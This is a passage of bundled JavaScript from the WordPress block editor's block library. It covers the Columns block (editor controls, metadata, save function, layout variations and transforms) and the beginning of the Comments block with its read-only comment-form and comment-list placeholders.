    const { count, canInsertColumnBlock, minCount } = (0, import_data19.useSelect)(
      (select9) => {
        const { canInsertBlockType, canRemoveBlock, getBlockOrder } = select9(import_block_editor37.store);
        const blockOrder = getBlockOrder(clientId);
        const preventRemovalBlockIndexes = blockOrder.reduce(
          (acc, blockId, index) => {
            if (!canRemoveBlock(blockId)) {
              acc.push(index);
            }
            return acc;
          },
          []
        );
        return {
          count: blockOrder.length,
          canInsertColumnBlock: canInsertBlockType(
            "core/column",
            clientId
          ),
          minCount: Math.max(...preventRemovalBlockIndexes) + 1
        };
      },
      [clientId]
    );
    const { getBlocks } = (0, import_data19.useSelect)(import_block_editor37.store);
    const { replaceInnerBlocks } = (0, import_data19.useDispatch)(import_block_editor37.store);
    function updateColumns(previousColumns, newColumns) {
      let innerBlocks = getBlocks(clientId);
      const hasExplicitWidths = hasExplicitPercentColumnWidths(innerBlocks);
      const isAddingColumn = newColumns > previousColumns;
      if (isAddingColumn && hasExplicitWidths) {
        const newColumnWidth = toWidthPrecision(100 / newColumns);
        const newlyAddedColumns = newColumns - previousColumns;
        const widths = getRedistributedColumnWidths(
          innerBlocks,
          100 - newColumnWidth * newlyAddedColumns
        );
        innerBlocks = [
          ...getMappedColumnWidths(innerBlocks, widths),
          ...Array.from({
            length: newlyAddedColumns
          }).map(() => {
            return (0, import_blocks18.createBlock)("core/column", {
              width: `${newColumnWidth}%`
            });
          })
        ];
      } else if (isAddingColumn) {
        innerBlocks = [
          ...innerBlocks,
          ...Array.from({
            length: newColumns - previousColumns
          }).map(() => {
            return (0, import_blocks18.createBlock)("core/column");
          })
        ];
      } else if (newColumns < previousColumns) {
        innerBlocks = innerBlocks.slice(
          0,
          -(previousColumns - newColumns)
        );
        if (hasExplicitWidths) {
          const widths = getRedistributedColumnWidths(innerBlocks, 100);
          innerBlocks = getMappedColumnWidths(innerBlocks, widths);
        }
      }
      replaceInnerBlocks(clientId, innerBlocks);
    }
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime193.jsxs)(
      import_components17.__experimentalToolsPanel,
      {
        label: (0, import_i18n25.__)("Settings"),
        resetAll: () => {
          setAttributes({
            isStackedOnMobile: true
          });
        },
        dropdownMenuProps,
        children: [
          canInsertColumnBlock && /* @__PURE__ */ (0, import_jsx_runtime193.jsxs)(import_components17.__experimentalVStack, { spacing: 4, style: { gridColumn: "1 / -1" }, children: [
            /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
              import_components17.RangeControl,
              {
                __next40pxDefaultSize: true,
                label: (0, import_i18n25.__)("Columns"),
                value: count,
                onChange: (value) => updateColumns(count, Math.max(minCount, value)),
                min: Math.max(1, minCount),
                max: Math.max(6, count)
              }
            ),
            count > 6 && /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(import_components17.Notice, { status: "warning", isDismissible: false, children: (0, import_i18n25.__)(
              "This column count exceeds the recommended amount and may cause visual breakage."
            ) })
          ] }),
          /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
            import_components17.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n25.__)("Stack on mobile"),
              isShownByDefault: true,
              hasValue: () => isStackedOnMobile !== true,
              onDeselect: () => setAttributes({
                isStackedOnMobile: true
              }),
              children: /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
                import_components17.ToggleControl,
                {
                  label: (0, import_i18n25.__)("Stack on mobile"),
                  checked: isStackedOnMobile,
                  onChange: () => setAttributes({
                    isStackedOnMobile: !isStackedOnMobile
                  })
                }
              )
            }
          )
        ]
      }
    );
  }
  function ColumnsEditContainer({ attributes: attributes2, setAttributes, clientId }) {
    const { isStackedOnMobile, verticalAlignment, templateLock } = attributes2;
    const registry = (0, import_data19.useRegistry)();
    const { getBlockOrder } = (0, import_data19.useSelect)(import_block_editor37.store);
    const { updateBlockAttributes } = (0, import_data19.useDispatch)(import_block_editor37.store);
    const classes = clsx_default({
      [`are-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
      [`is-not-stacked-on-mobile`]: !isStackedOnMobile
    });
    const blockProps = (0, import_block_editor37.useBlockProps)({
      className: classes
    });
    const innerBlocksProps = (0, import_block_editor37.useInnerBlocksProps)(blockProps, {
      defaultBlock: DEFAULT_BLOCK2,
      directInsert: true,
      orientation: "horizontal",
      renderAppender: false,
      templateLock
    });
    function updateAlignment(newVerticalAlignment) {
      const innerBlockClientIds = getBlockOrder(clientId);
      registry.batch(() => {
        setAttributes({ verticalAlignment: newVerticalAlignment });
        updateBlockAttributes(innerBlockClientIds, {
          verticalAlignment: newVerticalAlignment
        });
      });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime193.jsxs)(import_jsx_runtime193.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(import_block_editor37.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
        import_block_editor37.BlockVerticalAlignmentToolbar,
        {
          onChange: updateAlignment,
          value: verticalAlignment
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(import_block_editor37.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
        ColumnInspectorControls2,
        {
          clientId,
          setAttributes,
          isStackedOnMobile
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime193.jsx)("div", { ...innerBlocksProps })
    ] });
  }
  function Placeholder4({ clientId, name: name123, setAttributes }) {
    const { blockType, defaultVariation, variations: variations18 } = (0, import_data19.useSelect)(
      (select9) => {
        const {
          getBlockVariations: getBlockVariations3,
          getBlockType: getBlockType5,
          getDefaultBlockVariation
        } = select9(import_blocks18.store);
        return {
          blockType: getBlockType5(name123),
          defaultVariation: getDefaultBlockVariation(name123, "block"),
          variations: getBlockVariations3(name123, "block")
        };
      },
      [name123]
    );
    const { replaceInnerBlocks } = (0, import_data19.useDispatch)(import_block_editor37.store);
    const blockProps = (0, import_block_editor37.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime193.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
      import_block_editor37.__experimentalBlockVariationPicker,
      {
        icon: blockType?.icon?.src,
        label: blockType?.title,
        variations: variations18,
        instructions: (0, import_i18n25.__)("Divide into columns. Select a layout:"),
        onSelect: (nextVariation = defaultVariation) => {
          if (nextVariation.attributes) {
            setAttributes(nextVariation.attributes);
          }
          if (nextVariation.innerBlocks) {
            replaceInnerBlocks(
              clientId,
              (0, import_blocks18.createBlocksFromInnerBlocksTemplate)(
                nextVariation.innerBlocks
              ),
              true
            );
          }
        },
        allowSkip: true
      }
    ) });
  }
  var ColumnsEdit = (props) => {
    const { clientId } = props;
    const hasInnerBlocks = (0, import_data19.useSelect)(
      (select9) => select9(import_block_editor37.store).getBlocks(clientId).length > 0,
      [clientId]
    );
    const Component = hasInnerBlocks ? ColumnsEditContainer : Placeholder4;
    return /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(Component, { ...props });
  };
  var edit_default5 = ColumnsEdit;

  // packages/block-library/build-module/columns/block.json
  var block_default17 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/columns",
    title: "Columns",
    category: "design",
    allowedBlocks: ["core/column"],
    description: "Display content in multiple columns, with blocks added to each column.",
    textdomain: "default",
    attributes: {
      verticalAlignment: {
        type: "string"
      },
      isStackedOnMobile: {
        type: "boolean",
        default: true
      },
      templateLock: {
        type: ["string", "boolean"],
        enum: ["all", "insert", "contentOnly", false]
      }
    },
    supports: {
      anchor: true,
      align: ["wide", "full"],
      html: false,
      color: {
        gradients: true,
        link: true,
        heading: true,
        button: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        blockGap: {
          __experimentalDefault: "2em",
          sides: ["horizontal", "vertical"]
        },
        margin: ["top", "bottom"],
        padding: true,
        __experimentalDefaultControls: {
          padding: true,
          blockGap: true
        }
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        allowEditing: false,
        default: {
          type: "flex",
          flexWrap: "nowrap"
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      shadow: true
    },
    editorStyle: "wp-block-columns-editor",
    style: "wp-block-columns"
  };

  // packages/block-library/build-module/columns/save.mjs
  var import_block_editor38 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime194 = __toESM(require_jsx_runtime(), 1);
  function save11({ attributes: attributes2 }) {
    const { isStackedOnMobile, verticalAlignment } = attributes2;
    const className = clsx_default({
      [`are-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
      [`is-not-stacked-on-mobile`]: !isStackedOnMobile
    });
    const blockProps = import_block_editor38.useBlockProps.save({ className });
    const innerBlocksProps = import_block_editor38.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime194.jsx)("div", { ...innerBlocksProps });
  }

  // packages/block-library/build-module/columns/variations.mjs
  var import_components18 = __toESM(require_components(), 1);
  var import_i18n26 = __toESM(require_i18n(), 1);
  var import_jsx_runtime195 = __toESM(require_jsx_runtime(), 1);
  var variations2 = [
    {
      name: "one-column-full",
      title: (0, import_i18n26.__)("100"),
      description: (0, import_i18n26.__)("One column"),
      icon: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
        import_components18.SVG,
        {
          xmlns: "http://www.w3.org/2000/svg",
          width: "48",
          height: "48",
          viewBox: "0 0 48 48",
          children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(import_components18.Path, { d: "M0 10a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Z" })
        }
      ),
      innerBlocks: [["core/column"]],
      scope: ["block"]
    },
    {
      name: "two-columns-equal",
      title: (0, import_i18n26.__)("50 / 50"),
      description: (0, import_i18n26.__)("Two columns; equal split"),
      icon: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
        import_components18.SVG,
        {
          xmlns: "http://www.w3.org/2000/svg",
          width: "48",
          height: "48",
          viewBox: "0 0 48 48",
          children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(import_components18.Path, { d: "M0 10a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V10Z" })
        }
      ),
      isDefault: true,
      innerBlocks: [["core/column"], ["core/column"]],
      scope: ["block"]
    },
    {
      name: "two-columns-one-third-two-thirds",
      title: (0, import_i18n26.__)("33 / 66"),
      description: (0, import_i18n26.__)("Two columns; one-third, two-thirds split"),
      icon: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
        import_components18.SVG,
        {
          xmlns: "http://www.w3.org/2000/svg",
          width: "48",
          height: "48",
          viewBox: "0 0 48 48",
          children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(import_components18.Path, { d: "M0 10a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm17 0a2 2 0 0 1 2-2h27a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H19a2 2 0 0 1-2-2V10Z" })
        }
      ),
      innerBlocks: [
        ["core/column", { width: "33.33%" }],
        ["core/column", { width: "66.66%" }]
      ],
      scope: ["block"]
    },
    {
      name: "two-columns-two-thirds-one-third",
      title: (0, import_i18n26.__)("66 / 33"),
      description: (0, import_i18n26.__)("Two columns; two-thirds, one-third split"),
      icon: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
        import_components18.SVG,
        {
          xmlns: "http://www.w3.org/2000/svg",
          width: "48",
          height: "48",
          viewBox: "0 0 48 48",
          children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(import_components18.Path, { d: "M0 10a2 2 0 0 1 2-2h27a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm33 0a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H35a2 2 0 0 1-2-2V10Z" })
        }
      ),
      innerBlocks: [
        ["core/column", { width: "66.66%" }],
        ["core/column", { width: "33.33%" }]
      ],
      scope: ["block"]
    },
    {
      name: "three-columns-equal",
      title: (0, import_i18n26.__)("33 / 33 / 33"),
      description: (0, import_i18n26.__)("Three columns; equal split"),
      icon: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
        import_components18.SVG,
        {
          xmlns: "http://www.w3.org/2000/svg",
          width: "48",
          height: "48",
          viewBox: "0 0 48 48",
          children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(import_components18.Path, { d: "M0 10a2 2 0 0 1 2-2h10.531c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H2a2 2 0 0 1-2-2V10Zm16.5 0c0-1.105.864-2 1.969-2H29.53c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H18.47c-1.105 0-1.969-.895-1.969-2V10Zm17 0c0-1.105.864-2 1.969-2H46a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H35.469c-1.105 0-1.969-.895-1.969-2V10Z" })
        }
      ),
      innerBlocks: [
        ["core/column"],
        ["core/column"],
        ["core/column"]
      ],
      scope: ["block"]
    },
    {
      name: "three-columns-wider-center",
      title: (0, import_i18n26.__)("25 / 50 / 25"),
      description: (0, import_i18n26.__)("Three columns; wide center column"),
      icon: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
        import_components18.SVG,
        {
          xmlns: "http://www.w3.org/2000/svg",
          width: "48",
          height: "48",
          viewBox: "0 0 48 48",
          children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(import_components18.Path, { d: "M0 10a2 2 0 0 1 2-2h7.531c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H2a2 2 0 0 1-2-2V10Zm13.5 0c0-1.105.864-2 1.969-2H32.53c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H15.47c-1.105 0-1.969-.895-1.969-2V10Zm23 0c0-1.105.864-2 1.969-2H46a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2h-7.531c-1.105 0-1.969-.895-1.969-2V10Z" })
        }
      ),
      innerBlocks: [
        ["core/column", { width: "25%" }],
        ["core/column", { width: "50%" }],
        ["core/column", { width: "25%" }]
      ],
      scope: ["block"]
    }
  ];
  var variations_default2 = variations2;

  // packages/block-library/build-module/columns/transforms.mjs
  var import_blocks19 = __toESM(require_blocks(), 1);
  var MAXIMUM_SELECTED_BLOCKS = 6;
  var transforms5 = {
    from: [
      {
        type: "block",
        isMultiBlock: true,
        blocks: ["*"],
        __experimentalConvert: (blocks) => {
          const columnWidth = +(100 / blocks.length).toFixed(2);
          const innerBlocksTemplate = blocks.map(
            ({ name: name123, attributes: attributes2, innerBlocks }) => [
              "core/column",
              { width: `${columnWidth}%` },
              [[name123, { ...attributes2 }, innerBlocks]]
            ]
          );
          return (0, import_blocks19.createBlock)(
            "core/columns",
            {},
            (0, import_blocks19.createBlocksFromInnerBlocksTemplate)(innerBlocksTemplate)
          );
        },
        isMatch: ({ length: selectedBlocksLength }, blocks) => {
          if (blocks.length === 1 && blocks[0].name === "core/columns") {
            return false;
          }
          return selectedBlocksLength && selectedBlocksLength <= MAXIMUM_SELECTED_BLOCKS;
        }
      },
      {
        type: "block",
        blocks: ["core/media-text"],
        priority: 1,
        transform: (attributes2, innerBlocks) => {
          const {
            align,
            backgroundColor,
            textColor,
            style: style2,
            mediaAlt: alt,
            mediaId: id,
            mediaPosition: mediaPosition3,
            mediaSizeSlug: sizeSlug,
            mediaType,
            mediaUrl: url,
            mediaWidth,
            verticalAlignment
          } = attributes2;
          let media;
          if (mediaType === "image" || !mediaType) {
            const imageAttrs = { id, alt, url, sizeSlug };
            const linkAttrs = {
              href: attributes2.href,
              linkClass: attributes2.linkClass,
              linkDestination: attributes2.linkDestination,
              linkTarget: attributes2.linkTarget,
              rel: attributes2.rel
            };
            media = ["core/image", { ...imageAttrs, ...linkAttrs }];
          } else {
            media = ["core/video", { id, src: url }];
          }
          const innerBlocksTemplate = [
            ["core/column", { width: `${mediaWidth}%` }, [media]],
            [
              "core/column",
              { width: `${100 - mediaWidth}%` },
              innerBlocks
            ]
          ];
          if (mediaPosition3 === "right") {
            innerBlocksTemplate.reverse();
          }
          return (0, import_blocks19.createBlock)(
            "core/columns",
            {
              align,
              backgroundColor,
              textColor,
              style: style2,
              verticalAlignment
            },
            (0, import_blocks19.createBlocksFromInnerBlocksTemplate)(innerBlocksTemplate)
          );
        }
      }
    ],
    ungroup: (attributes2, innerBlocks) => innerBlocks.flatMap((innerBlock) => innerBlock.innerBlocks)
  };
  var transforms_default5 = transforms5;

  // packages/block-library/build-module/columns/index.mjs
  var { name: name16 } = block_default17;
  var settings16 = {
    icon: columns_default,
    variations: variations_default2,
    example: {
      viewportWidth: 782,
      // Columns collapse "@media (max-width: 781px)".
      innerBlocks: [
        {
          name: "core/column",
          innerBlocks: [
            {
              name: "core/paragraph",
              attributes: {
                /* translators: example text. */
                content: (0, import_i18n27.__)(
                  "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent et eros eu felis."
                )
              }
            },
            {
              name: "core/image",
              attributes: {
                url: "https://s.w.org/images/core/5.3/Windbuchencom.jpg"
              }
            },
            {
              name: "core/paragraph",
              attributes: {
                /* translators: example text. */
                content: (0, import_i18n27.__)(
                  "Suspendisse commodo neque lacus, a dictum orci interdum et."
                )
              }
            }
          ]
        },
        {
          name: "core/column",
          innerBlocks: [
            {
              name: "core/paragraph",
              attributes: {
                /* translators: example text. */
                content: (0, import_i18n27.__)(
                  "Etiam et egestas lorem. Vivamus sagittis sit amet dolor quis lobortis. Integer sed fermentum arcu, id vulputate lacus. Etiam fermentum sem eu quam hendrerit."
                )
              }
            },
            {
              name: "core/paragraph",
              attributes: {
                /* translators: example text. */
                content: (0, import_i18n27.__)(
                  "Nam risus massa, ullamcorper consectetur eros fermentum, porta aliquet ligula. Sed vel mauris nec enim."
                )
              }
            }
          ]
        }
      ]
    },
    deprecated: deprecated_default6,
    edit: edit_default5,
    save: save11,
    transforms: transforms_default5
  };
  var init16 = () => initBlock({ name: name16, metadata: block_default17, settings: settings16 });

  // packages/block-library/build-module/comments/index.mjs
  var comments_exports = {};
  __export(comments_exports, {
    init: () => init17,
    metadata: () => block_default18,
    name: () => name17,
    settings: () => settings17
  });

  // packages/block-library/build-module/comments/block.json
  var block_default18 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/comments",
    title: "Comments",
    category: "theme",
    description: "An advanced block that allows displaying post comments using different visual configurations.",
    textdomain: "default",
    attributes: {
      tagName: {
        type: "string",
        default: "div"
      },
      legacy: {
        type: "boolean",
        default: false
      }
    },
    supports: {
      anchor: true,
      align: ["wide", "full"],
      html: false,
      color: {
        gradients: true,
        heading: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    editorStyle: "wp-block-comments-editor",
    usesContext: ["postId", "postType"]
  };

  // packages/block-library/build-module/comments/deprecated.mjs
  var import_block_editor39 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime196 = __toESM(require_jsx_runtime(), 1);
  var v14 = {
    attributes: {
      tagName: {
        type: "string",
        default: "div"
      }
    },
    apiVersion: 3,
    supports: {
      align: ["wide", "full"],
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      }
    },
    save({ attributes: { tagName: Tag } }) {
      const blockProps = import_block_editor39.useBlockProps.save();
      const { className } = blockProps;
      const classes = className?.split(" ") || [];
      const newClasses = classes?.filter(
        (cls) => cls !== "wp-block-comments"
      );
      const newBlockProps = {
        ...blockProps,
        className: newClasses.join(" ")
      };
      return /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(Tag, { ...newBlockProps, children: /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(import_block_editor39.InnerBlocks.Content, {}) });
    }
  };
  var deprecated_default7 = [v14];

  // packages/block-library/build-module/comments/edit/index.mjs
  var import_block_editor44 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/comments/edit/comments-inspector-controls.mjs
  var import_i18n28 = __toESM(require_i18n(), 1);
  var import_block_editor40 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime197 = __toESM(require_jsx_runtime(), 1);
  var { HTMLElementControl: HTMLElementControl2 } = unlock(import_block_editor40.privateApis);
  function CommentsInspectorControls({
    attributes: { tagName },
    setAttributes
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(import_block_editor40.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(import_block_editor40.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(
      HTMLElementControl2,
      {
        tagName,
        onChange: (value) => setAttributes({ tagName: value }),
        options: [
          { label: (0, import_i18n28.__)("Default (<div>)"), value: "div" },
          { label: "<section>", value: "section" },
          { label: "<aside>", value: "aside" }
        ]
      }
    ) }) });
  }

  // packages/block-library/build-module/comments/edit/comments-legacy.mjs
  var import_block_editor43 = __toESM(require_block_editor(), 1);
  var import_i18n31 = __toESM(require_i18n(), 1);
  var import_components20 = __toESM(require_components(), 1);

  // packages/block-library/build-module/comments/edit/placeholder.mjs
  var import_block_editor42 = __toESM(require_block_editor(), 1);
  var import_i18n30 = __toESM(require_i18n(), 1);
  var import_data21 = __toESM(require_data(), 1);
  var import_core_data8 = __toESM(require_core_data(), 1);
  var import_element14 = __toESM(require_element(), 1);

  // packages/block-library/build-module/post-comments-form/form.mjs
  var import_i18n29 = __toESM(require_i18n(), 1);
  var import_block_editor41 = __toESM(require_block_editor(), 1);
  var import_components19 = __toESM(require_components(), 1);
  var import_compose13 = __toESM(require_compose(), 1);
  var import_core_data7 = __toESM(require_core_data(), 1);
  var import_data20 = __toESM(require_data(), 1);
  var import_jsx_runtime198 = __toESM(require_jsx_runtime(), 1);
  var CommentsFormPlaceholder = () => {
    const instanceId = (0, import_compose13.useInstanceId)(CommentsFormPlaceholder);
    return /* @__PURE__ */ (0, import_jsx_runtime198.jsxs)("div", { className: "comment-respond", children: [
      /* @__PURE__ */ (0, import_jsx_runtime198.jsx)("h3", { className: "comment-reply-title", children: (0, import_i18n29.__)("Leave a Reply") }),
      /* @__PURE__ */ (0, import_jsx_runtime198.jsxs)(
        "form",
        {
          noValidate: true,
          className: "comment-form",
          onSubmit: (event) => event.preventDefault(),
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime198.jsxs)("p", { children: [
              /* @__PURE__ */ (0, import_jsx_runtime198.jsx)("label", { htmlFor: `comment-${instanceId}`, children: (0, import_i18n29.__)("Comment") }),
              /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(
                "textarea",
                {
                  id: `comment-${instanceId}`,
                  name: "comment",
                  cols: "45",
                  rows: "8",
                  readOnly: true
                }
              )
            ] }),
            /* @__PURE__ */ (0, import_jsx_runtime198.jsx)("p", { className: "form-submit wp-block-button", children: /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(
              "input",
              {
                name: "submit",
                type: "submit",
                className: clsx_default(
                  "wp-block-button__link",
                  (0, import_block_editor41.__experimentalGetElementClassName)("button")
                ),
                label: (0, import_i18n29.__)("Post Comment"),
                value: (0, import_i18n29.__)("Post Comment"),
                "aria-disabled": "true"
              }
            ) })
          ]
        }
      )
    ] });
  };
  var CommentsForm = ({ postId, postType }) => {
    const [commentStatus, setCommentStatus] = (0, import_core_data7.useEntityProp)(
      "postType",
      postType,
      "comment_status",
      postId
    );
    const isSiteEditor = postType === void 0 || postId === void 0;
    const defaultCommentStatus = (0, import_data20.useSelect)(
      (select9) => select9(import_block_editor41.store).getSettings().__experimentalDiscussionSettings?.defaultCommentStatus,
      []
    );
    const postTypeSupportsComments = (0, import_data20.useSelect)(
      (select9) => postType ? !!select9(import_core_data7.store).getPostType(postType)?.supports.comments : false
    );
    if (!isSiteEditor && "open" !== commentStatus) {
      if ("closed" === commentStatus) {
        const actions = [
          /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(
            import_components19.Button,
            {
              __next40pxDefaultSize: true,
              onClick: () => setCommentStatus("open"),
              variant: "primary",
              children: (0, import_i18n29._x)(
                "Enable comments",
                "action that affects the current post"
              )
            },
            "enableComments"
          )
        ];
        return /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(import_block_editor41.Warning, { actions, children: (0, import_i18n29.__)(
          "Post Comments Form block: Comments are not enabled for this item."
        ) });
      } else if (!postTypeSupportsComments) {
        return /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(import_block_editor41.Warning, { children: (0, import_i18n29.sprintf)(
          /* translators: %s: Post type (i.e. "post", "page") */
          (0, import_i18n29.__)(
            "Post Comments Form block: Comments are not enabled for this post type (%s)."
          ),
          postType
        ) });
      } else if ("open" !== defaultCommentStatus) {
        return /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(import_block_editor41.Warning, { children: (0, import_i18n29.__)(
          "Post Comments Form block: Comments are not enabled."
        ) });
      }
    }
    return /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(CommentsFormPlaceholder, {});
  };
  var form_default = CommentsForm;

  // packages/block-library/build-module/comments/edit/placeholder.mjs
  var import_jsx_runtime199 = __toESM(require_jsx_runtime(), 1);
  function PostCommentsPlaceholder({ postType, postId }) {
    let [postTitle] = (0, import_core_data8.useEntityProp)("postType", postType, "title", postId);
    postTitle = postTitle || (0, import_i18n30.__)("Post Title");
    const avatarURL = (0, import_data21.useSelect)(
      (select9) => select9(import_block_editor42.store).getSettings().__experimentalDiscussionSettings?.avatarURL,
      []
    );
    return /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)("div", { className: "wp-block-comments__legacy-placeholder", inert: "true", children: [
      /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("h3", {
        /* translators: %s: Post title. */
        children: (0, import_i18n30.sprintf)((0, import_i18n30.__)("One response to %s"), postTitle)
      }),
      /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)("div", { className: "navigation", children: [
        /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("div", { className: "alignleft", children: /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)("a", { href: "#top", children: [
          "\xAB ",
          (0, import_i18n30.__)("Older Comments")
        ] }) }),
        /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("div", { className: "alignright", children: /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)("a", { href: "#top", children: [
          (0, import_i18n30.__)("Newer Comments"),
          " \xBB"
        ] }) })
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("ol", { className: "commentlist", children: /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("li", { className: "comment even thread-even depth-1", children: /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)("article", { className: "comment-body", children: [
        /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)("footer", { className: "comment-meta", children: [
          /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)("div", { className: "comment-author vcard", children: [
            /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(
              "img",
              {
                alt: (0, import_i18n30.__)("Commenter Avatar"),
                src: avatarURL,
                className: "avatar avatar-32 photo",
                height: "32",
                width: "32",
                loading: "lazy"
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("b", { className: "fn", children: /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("a", { href: "#top", className: "url", children: (0, import_i18n30.__)("A WordPress Commenter") }) }),
            " ",
            /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)("span", { className: "says", children: [
              (0, import_i18n30.__)("says"),
              ":"
            ] })
          ] }),
          /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)("div", { className: "comment-metadata", children: [
            /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("a", { href: "#top", children: /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("time", { dateTime: "2000-01-01T00:00:00+00:00", children: (0, import_i18n30.__)("January 1, 2000 at 00:00 am") }) }),
            " ",
            /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("span", { className: "edit-link", children: /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(
              "a",
              {
                className: "comment-edit-link",
                href: "#top",
                children: (0, import_i18n30.__)("Edit")
              }
            ) })
          ] })
        ] }),
        /* @__PURE__ */ (0, import_jsx_runtime199.jsx)("div", { className: "comment-content", children: /* @__PURE__ */ (0, import_jsx_runtime199.jsxs)("p", { children: [
          (0, import_i18n30.__)("Hi, this is a comment."),
